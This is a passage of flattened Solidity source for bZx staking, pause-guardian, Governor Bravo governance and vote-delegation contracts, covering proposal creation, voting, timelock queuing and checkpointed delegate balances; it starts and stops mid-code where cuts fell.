uint256 bzrxAmount,
uint256 stableCoinAmount
);
event ChangeDelegate(
address indexed user,
address indexed oldDelegate,
address indexed newDelegate
);
event WithdrawFees(
address indexed sender
);
event ConvertFees(
address indexed sender,
uint256 bzrxOutput,
uint256 stableCoinOutput
);
event DistributeFees(
address indexed sender,
uint256 bzrxRewards,
uint256 stableCoinRewards
);
event AddAltRewards(
address indexed sender,
address indexed token,
uint256 amount
);
event ClaimAltRewards(
address indexed user,
address indexed token,
uint256 amount
);
}
contract StakingUpgradeable is Ownable {
address public implementation;
}
contract StakingState is StakingUpgradeable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using EnumerableBytes32Set for EnumerableBytes32Set.Bytes32Set;
uint256 public constant initialCirculatingSupply = 1030000000e18 - 889389933e18;
address internal constant ZERO_ADDRESS = address(0);
bool public isPaused;
address public fundsWallet;
mapping(address => uint256) internal _totalSupplyPerToken; // token => value
mapping(address => mapping(address => uint256)) internal _balancesPerToken; // token => account => value
mapping(address => address) internal delegate; // user => delegate (DEPRECIATED)
mapping(address => mapping(address => uint256)) internal delegatedPerToken; // token => user => value (DEPRECIATED)
uint256 public bzrxPerTokenStored;
mapping(address => uint256) public bzrxRewardsPerTokenPaid; // user => value
mapping(address => uint256) public bzrxRewards; // user => value
mapping(address => uint256) public bzrxVesting; // user => value
uint256 public stableCoinPerTokenStored;
mapping(address => uint256) public stableCoinRewardsPerTokenPaid; // user => value
mapping(address => uint256) public stableCoinRewards; // user => value
mapping(address => uint256) public stableCoinVesting; // user => value
uint256 public vBZRXWeightStored;
uint256 public iBZRXWeightStored;
uint256 public LPTokenWeightStored;
EnumerableBytes32Set.Bytes32Set internal _delegatedSet;
uint256 public lastRewardsAddTime;
mapping(address => uint256) public vestingLastSync;
mapping(address => address[]) public swapPaths;
mapping(address => uint256) public stakingRewards;
uint256 public rewardPercent = 50e18;
uint256 public maxUniswapDisagreement = 3e18;
uint256 public maxCurveDisagreement = 3e18;
uint256 public callerRewardDivisor = 100;
address[] public currentFeeTokens;
struct ProposalState {
uint256 proposalTime;
uint256 iBZRXWeight;
uint256 lpBZRXBalance;
uint256 lpTotalSupply;
}
address public governor;
mapping(uint256 => ProposalState) internal _proposalState;
mapping(address => uint256[]) public altRewardsRounds; // depreciated
mapping(address => uint256) public altRewardsPerShare; // token => value
// Token => (User => Info)
mapping(address => mapping(address => IStaking.AltRewardsUserInfo)) public userAltRewardsPerShare;
address public voteDelegator;
}
contract PausableGuardian is Ownable {
// keccak256("Pausable_FunctionPause")
bytes32 internal constant Pausable_FunctionPause = 0xa7143c84d793a15503da6f19bf9119a2dac94448ca45d77c8bf08f57b2e91047;
// keccak256("Pausable_GuardianAddress")
bytes32 internal constant Pausable_GuardianAddress = 0x80e6706973d0c59541550537fd6a33b971efad732635e6c3b99fb01006803cdf;
modifier pausable {
require(!_isPaused(msg.sig), "paused");
_;
}
function _isPaused(bytes4 sig) public view returns (bool isPaused) {
bytes32 slot = keccak256(abi.encodePacked(sig, Pausable_FunctionPause));
assembly {
isPaused := sload(slot)
}
}
function toggleFunctionPause(bytes4 sig) public {
require(msg.sender == getGuardian() || msg.sender == owner(), "unauthorized");
bytes32 slot = keccak256(abi.encodePacked(sig, Pausable_FunctionPause));
assembly {
sstore(slot, 1)
}
}
function toggleFunctionUnPause(bytes4 sig) public {
// only DAO can unpause, and adding guardian temporarily
require(msg.sender == getGuardian() || msg.sender == owner(), "unauthorized");
bytes32 slot = keccak256(abi.encodePacked(sig, Pausable_FunctionPause));
assembly {
sstore(slot, 0)
}
}
function changeGuardian(address newGuardian) public {
require(msg.sender == getGuardian() || msg.sender == owner(), "unauthorized");
assembly {
sstore(Pausable_GuardianAddress, newGuardian)
}
}
function getGuardian() public view returns (address guardian) {
assembly {
guardian := sload(Pausable_GuardianAddress)
}
}
}
contract GovernorBravoEvents {
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
/// @param voter The address which casted a vote
/// @param proposalId The proposal id which was voted on
/// @param support Support value for the vote. 0=against, 1=for, 2=abstain
/// @param votes Number of votes which were cast by the voter
/// @param reason The reason given for the vote by the voter
event VoteCast(address indexed voter, uint proposalId, uint8 support, uint votes, string reason);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
/// @notice An event emitted when the voting delay is set
event VotingDelaySet(uint oldVotingDelay, uint newVotingDelay);
/// @notice An event emitted when the voting period is set
event VotingPeriodSet(uint oldVotingPeriod, uint newVotingPeriod);
/// @notice Emitted when implementation is changed
event NewImplementation(address oldImplementation, address newImplementation);
/// @notice Emitted when proposal threshold is set
event ProposalThresholdSet(uint oldProposalThreshold, uint newProposalThreshold);
/// @notice Emitted when pendingAdmin is changed
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/// @notice Emitted when pendingAdmin is accepted, which means admin is updated
event NewAdmin(address oldAdmin, address newAdmin);
}
contract GovernorBravoDelegatorStorage {
/// @notice Administrator for this contract
address public admin;
/// @notice Pending administrator for this contract
address public pendingAdmin;
/// @notice Active brains of Governor
address public implementation;
/// @notice The address of the Governor Guardian
address public guardian;
}
/**
* @title Storage for Governor Bravo Delegate
* @notice For future upgrades, do not change GovernorBravoDelegateStorageV1. Create a new
* contract which implements GovernorBravoDelegateStorageV1 and following the naming convention
* GovernorBravoDelegateStorageVX.
*/
contract GovernorBravoDelegateStorageV1 is GovernorBravoDelegatorStorage {
/// @notice The delay before voting on a proposal may take place, once proposed, in blocks
uint public votingDelay;
/// @notice The duration of voting on a proposal, in blocks
uint public votingPeriod;
/// @notice The number of votes required in order for a voter to become a proposer
uint public proposalThreshold;
/// @notice Initial proposal id set at become
uint public initialProposalId;
/// @notice The total number of proposals
uint public proposalCount;
/// @notice The address of the bZx Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the bZx governance token
StakingInterface public staking;
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Current number of votes for abstaining for this proposal
uint abstainVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal or abstains
uint8 support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface StakingInterface {
function votingBalanceOf(
address account,
uint proposalCount)
external
view
returns (uint totalVotes);
function votingBalanceOfNow(
address account)
external
view
returns (uint totalVotes);
function _setProposalVals(
address account,
uint proposalCount)
external
returns (uint);
}
interface GovernorAlpha {
/// @notice The total number of proposals
function proposalCount() external returns (uint);
}
contract GovernorBravoDelegate is GovernorBravoDelegateStorageV1, GovernorBravoEvents {
/// @notice The name of this contract
string public constant name = "bZx Governor Bravo";
/// @notice The minimum setable proposal threshold
uint public constant MIN_PROPOSAL_THRESHOLD = 5150000e18; // 5,150,000 = 0.5% of BZRX
/// @notice The maximum setable proposal threshold
uint public constant MAX_PROPOSAL_THRESHOLD = 20600000e18; // 20,600,000 = 2% of BZRX
/// @notice The minimum setable voting period
uint public constant MIN_VOTING_PERIOD = 5760; // About 24 hours
/// @notice The max setable voting period
uint public constant MAX_VOTING_PERIOD = 80640; // About 2 weeks
/// @notice The min setable voting delay
uint public constant MIN_VOTING_DELAY = 1;
/// @notice The max setable voting delay
uint public constant MAX_VOTING_DELAY = 40320; // About 1 week
/// @notice The maximum number of actions that can be included in a proposal
uint public constant proposalMaxOperations = 100; // 100 actions
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,uint8 support)");
mapping (uint => uint) public quorumVotesForProposal; // proposalId => quorum votes required
/**
* @notice Used to initialize the contract during delegator contructor
* @param timelock_ The address of the Timelock
* @param staking_ The address of the STAKING
* @param votingPeriod_ The initial voting period
* @param votingDelay_ The initial voting delay
* @param proposalThreshold_ The initial proposal threshold
*/
function initialize(address timelock_, address staking_, uint votingPeriod_, uint votingDelay_, uint proposalThreshold_) public {
require(address(timelock) == address(0), "GovernorBravo::initialize: can only initialize once");
require(msg.sender == admin, "GovernorBravo::initialize: admin only");
require(timelock_ != address(0), "GovernorBravo::initialize: invalid timelock address");
require(staking_ != address(0), "GovernorBravo::initialize: invalid STAKING address");
require(votingPeriod_ >= MIN_VOTING_PERIOD && votingPeriod_ <= MAX_VOTING_PERIOD, "GovernorBravo::initialize: invalid voting period");
require(votingDelay_ >= MIN_VOTING_DELAY && votingDelay_ <= MAX_VOTING_DELAY, "GovernorBravo::initialize: invalid voting delay");
require(proposalThreshold_ >= MIN_PROPOSAL_THRESHOLD && proposalThreshold_ <= MAX_PROPOSAL_THRESHOLD, "GovernorBravo::initialize: invalid proposal threshold");
timelock = TimelockInterface(timelock_);
staking = StakingInterface(staking_);
votingPeriod = votingPeriod_;
votingDelay = votingDelay_;
proposalThreshold = proposalThreshold_;
guardian = msg.sender;
}
/**
* @notice Function used to propose a new proposal. Sender must have delegates above the proposal threshold
* @param targets Target addresses for proposal calls
* @param values Eth values for proposal calls
* @param signatures Function signatures for proposal calls
* @param calldatas Calldatas for proposal calls
* @param description String description of the proposal
* @return Proposal id of new proposal
*/
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorBravo::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorBravo::propose: must provide actions");
require(targets.length <= proposalMaxOperations, "GovernorBravo::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorBravo::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorBravo::propose: one live proposal per proposer, found an already pending proposal");
}
uint proposalId = proposalCount + 1;
require(staking._setProposalVals(msg.sender, proposalId) > proposalThreshold, "GovernorBravo::propose: proposer votes below proposal threshold");
proposalCount = proposalId;
uint startBlock = add256(block.number, votingDelay);
uint endBlock = add256(startBlock, votingPeriod);
Proposal memory newProposal = Proposal({
id: proposalId,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
abstainVotes: 0,
canceled: false,
executed: false
});
proposals[proposalId] = newProposal;
latestProposalIds[msg.sender] = proposalId;
quorumVotesForProposal[proposalId] = quorumVotes();
emit ProposalCreated(proposalId, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return proposalId;
}
/**
* @notice Queues a proposal of state succeeded
* @param proposalId The id of the proposal to queue
*/
function queue(uint proposalId) external {
require(state(proposalId) == ProposalState.Succeeded, "GovernorBravo::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
queueOrRevertInternal(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function queueOrRevertInternal(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorBravo::queueOrRevertInternal: identical proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
/**
* @notice Executes a queued proposal if eta has passed
* @param proposalId The id of the proposal to execute
*/
function execute(uint proposalId) external payable {
require(state(proposalId) == ProposalState.Queued, "GovernorBravo::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
/**
* @notice Cancels a proposal only if sender is the proposer, or proposer delegates dropped below proposal threshold
* @param proposalId The id of the proposal to cancel
*/
function cancel(uint proposalId) external {
require(state(proposalId) != ProposalState.Executed, "GovernorBravo::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == proposal.proposer || staking.votingBalanceOfNow(proposal.proposer) < proposalThreshold || msg.sender == guardian, "GovernorBravo::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
/**
* @notice Gets the current voting quroum
* @return The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
*/
// TODO: Update for OOKI. Handle OOKI surplus mint
function quorumVotes() public view returns (uint256) {
uint256 vestingSupply = IERC20(0x56d811088235F11C8920698a204A5010a788f4b3) // BZRX
.balanceOf(0xB72B31907C1C95F3650b64b2469e08EdACeE5e8F); // vBZRX
uint256 circulatingSupply = 1030000000e18 - vestingSupply; // no overflow
uint256 quorum = circulatingSupply * 4 / 100;
if (quorum < 15450000e18) {
// min quorum is 1.5% of totalSupply
quorum = 15450000e18;
}
return quorum;
}
/**
* @notice Gets actions of a proposal
* @param proposalId the id of the proposal
* @return Targets, values, signatures, and calldatas of the proposal actions
*/
function getActions(uint proposalId) external view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
/**
* @notice Gets the receipt for a voter on a given proposal
* @param proposalId the id of proposal
* @param voter The address of the voter
* @return The voting receipt
*/
function getReceipt(uint proposalId, address voter) external view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
/**
* @notice Gets the state of a proposal
* @param proposalId The id of the proposal
* @return Proposal state
*/
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > initialProposalId, "GovernorBravo::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotesForProposal[proposalId]) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
/**
* @notice Cast a vote for a proposal
* @param proposalId The id of the proposal to vote on
* @param support The support value for the vote. 0=against, 1=for, 2=abstain
*/
function castVote(uint proposalId, uint8 support) external {
emit VoteCast(msg.sender, proposalId, support, castVoteInternal(msg.sender, proposalId, support), "");
}
/**
* @notice Cast a vote for a proposal with a reason
* @param proposalId The id of the proposal to vote on
* @param support The support value for the vote. 0=against, 1=for, 2=abstain
* @param reason The reason given for the vote by the voter
*/
function castVoteWithReason(uint proposalId, uint8 support, string calldata reason) external {
emit VoteCast(msg.sender, proposalId, support, castVoteInternal(msg.sender, proposalId, support), reason);
}
/**
* @notice Cast a vote for a proposal by signature
* @dev External function that accepts EIP-712 signatures for voting on proposals.
*/
function castVoteBySig(uint proposalId, uint8 support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainIdInternal(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorBravo::castVoteBySig: invalid signature");
emit VoteCast(signatory, proposalId, support, castVoteInternal(signatory, proposalId, support), "");
}
/**
* @dev Allows batching to castVote function
*/
function castVotes(uint[] calldata proposalIds, uint8[] calldata supportVals) external {
require(proposalIds.length == supportVals.length, "count mismatch");
for (uint256 i = 0; i < proposalIds.length; i++) {
emit VoteCast(msg.sender, proposalIds[i], supportVals[i], castVoteInternal(msg.sender, proposalIds[i], supportVals[i]), "");
}
}
/**
* @dev Allows batching to castVoteWithReason function
*/
function castVotesWithReason(uint[] calldata proposalIds, uint8[] calldata supportVals, string[] calldata reasons) external {
require(proposalIds.length == supportVals.length && proposalIds.length == reasons.length, "count mismatch");
for (uint256 i = 0; i < proposalIds.length; i++) {
emit VoteCast(msg.sender, proposalIds[i], supportVals[i], castVoteInternal(msg.sender, proposalIds[i], supportVals[i]), reasons[i]);
}
}
/**
* @dev Allows batching to castVoteBySig function
*/
function castVotesBySig(uint[] calldata proposalIds, uint8[] calldata supportVals, uint8[] calldata vs, bytes32[] calldata rs, bytes32[] calldata ss) external {
require(proposalIds.length == supportVals.length && proposalIds.length == vs.length && proposalIds.length == rs.length && proposalIds.length == ss.length, "count mismatch");
for (uint256 i = 0; i < proposalIds.length; i++) {
castVoteBySig(proposalIds[i], supportVals[i], vs[i], rs[i], ss[i]);
}
}
/**
* @notice Internal function that caries out voting logic
* @param voter The voter that is casting their vote
* @param proposalId The id of the proposal to vote on
* @param support The support value for the vote. 0=against, 1=for, 2=abstain
* @return The number of votes cast
*/
function castVoteInternal(address voter, uint proposalId, uint8 support) internal returns (uint96) {
require(state(proposalId) == ProposalState.Active, "GovernorBravo::castVoteInternal: voting is closed");
require(support <= 2, "GovernorBravo::castVoteInternal: invalid vote type");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorBravo::castVoteInternal: voter already voted");
// 2**96-1 is greater than total supply of bzrx 1.3b*1e18 thus guaranteeing it won't ever overflow
uint96 votes = uint96(staking.votingBalanceOf(voter, proposalId));
if (support == 0) {
proposal.againstVotes = add256(proposal.againstVotes, votes);
} else if (support == 1) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else if (support == 2) {
proposal.abstainVotes = add256(proposal.abstainVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
return votes;
}
/**
* @notice Admin function for setting the voting delay
* @param newVotingDelay new voting delay, in blocks
*/
function __setVotingDelay(uint newVotingDelay) external {
require(msg.sender == admin, "GovernorBravo::__setVotingDelay: admin only");
require(newVotingDelay >= MIN_VOTING_DELAY && newVotingDelay <= MAX_VOTING_DELAY, "GovernorBravo::__setVotingDelay: invalid voting delay");
uint oldVotingDelay = votingDelay;
votingDelay = newVotingDelay;
emit VotingDelaySet(oldVotingDelay,votingDelay);
}
/**
* @notice Admin function for setting the voting period
* @param newVotingPeriod new voting period, in blocks
*/
function __setVotingPeriod(uint newVotingPeriod) external {
require(msg.sender == admin, "GovernorBravo::__setVotingPeriod: admin only");
require(newVotingPeriod >= MIN_VOTING_PERIOD && newVotingPeriod <= MAX_VOTING_PERIOD, "GovernorBravo::__setVotingPeriod: invalid voting period");
uint oldVotingPeriod = votingPeriod;
votingPeriod = newVotingPeriod;
emit VotingPeriodSet(oldVotingPeriod, votingPeriod);
}
/**
* @notice Admin function for setting the proposal threshold
* @dev newProposalThreshold must be greater than the hardcoded min
* @param newProposalThreshold new proposal threshold
*/
function __setProposalThreshold(uint newProposalThreshold) external {
require(msg.sender == admin, "GovernorBravo::__setProposalThreshold: admin only");
require(newProposalThreshold >= MIN_PROPOSAL_THRESHOLD && newProposalThreshold <= MAX_PROPOSAL_THRESHOLD, "GovernorBravo::__setProposalThreshold: invalid proposal threshold");
uint oldProposalThreshold = proposalThreshold;
proposalThreshold = newProposalThreshold;
emit ProposalThresholdSet(oldProposalThreshold, proposalThreshold);
}
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `__acceptLocalAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `__acceptLocalAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
*/
function __setPendingLocalAdmin(address newPendingAdmin) external {
// Check caller = admin
require(msg.sender == admin, "GovernorBravo:__setPendingLocalAdmin: admin only");
// Save current value, if any, for inclusion in log
address oldPendingAdmin = pendingAdmin;
// Store pendingAdmin with value newPendingAdmin
pendingAdmin = newPendingAdmin;
// Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
*/
function __acceptLocalAdmin() external {
// Check caller is pendingAdmin and pendingAdmin ≠ address(0)
require(msg.sender == pendingAdmin && msg.sender != address(0), "GovernorBravo:__acceptLocalAdmin: pending admin only");
// Save current values for inclusion in log
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
// Store admin with value pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
}
function __changeGuardian(address guardian_) public {
require(msg.sender == guardian, "GovernorBravo::__changeGuardian: sender must be gov guardian");
require(guardian_ != address(0), "GovernorBravo::__changeGuardian: not allowed");
guardian = guardian_;
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorBravo::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorBravo::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorBravo::__queueSetTimelockPendingAdmin: sender must be gov guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorBravo::__executeSetTimelockPendingAdmin: sender must be gov guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainIdInternal() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
contract StakingVoteDelegatorState is StakingUpgradeable {
// A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
}
contract StakingVoteDelegatorConstants {
address constant internal ZERO_ADDRESS = address(0);
IStaking constant staking = IStaking(0xe95Ebce2B02Ee07dEF5Ed6B53289801F7Fc137A4);
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
}
contract StakingVoteDelegator is StakingVoteDelegatorState, StakingVoteDelegatorConstants {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator) external view returns (address) {
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
if(delegatee == ZERO_ADDRESS){
delegatee = msg.sender;
}
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes("STAKING")),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Staking::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Staking::delegateBySig: invalid nonce");
require(now <= expiry, "Staking::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint256) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint256) {
require(blockNumber < block.number, "Staking::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = staking.votingFromStakedBalanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function moveDelegates(address srcRep, address dstRep, uint256 amount) public {
require(msg.sender == address(staking), "unauthorized");
_moveDelegates(srcRep, dstRep, amount);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub((amount > srcRepOld)? srcRepOld : amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Staking::_writeCheckpoint: block number exceeds 32 bits");
